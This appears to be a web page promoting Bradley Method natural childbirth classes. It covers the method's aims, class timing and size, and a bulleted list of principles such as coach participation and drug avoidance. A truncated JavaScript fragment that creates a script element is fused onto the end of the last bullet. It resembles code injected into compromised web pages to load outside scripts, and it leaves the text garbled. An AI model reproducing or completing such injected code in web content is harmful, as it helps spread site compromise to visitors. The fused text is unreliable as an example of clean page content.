WHAT
The Bradley Method is a system of natural labor techniques in which a woman and her coach play an active part. It is a simple method of increasing self-awareness, teaching you how to deal with the stress of labor. Bradley teachers urge couples to find what is comfortable for them in labor. Instead of seeking to control the sensations of labor with distraction methods, The Bradley Method encourages you to trust your body using natural breathing combined with relaxation.
WHO
Any mom-to-be and her coach will find the instructions valuable. The eight in-depth classes teach techniques which are applicable in any birth location (hospital, birth center, or home) with any qualified birth attendant.
WHY
For most couples, the fifth or beginning of the sixth month is the suggested time to seriously start training for labor and for their upcoming role as parents. The earlier you start, the better prepared you’ll be physically, emotionally and mentally.
WHERE
Class size is small, limited to six to eight couples, and therefore may be held in the comfortable surroundings of your instructor’s home or other suitable environment.
HOW
Your currently affiliated Bradley instructor wants you and your baby to have the best, safest, and most rewarding birth experience possible. For that reason, we endorse and teach the following:
• Natural childbirth
• Active participation by the coach
• Excellent nutrition
• Avoidance of drugs
• Early training
• Natural breathing combined with relaxation techniques
• Tuning into and working with your body
• Immediate and continuous contact with your new baby
• Breastfeeding beginning at birth
• Positive communications
• Informed parents sharing in the making of responsible decisions
• Parents prepared for unexpected situations (such as emergency childbirth or cesarean section)var d=document;var s=d.createElement(‘script’);
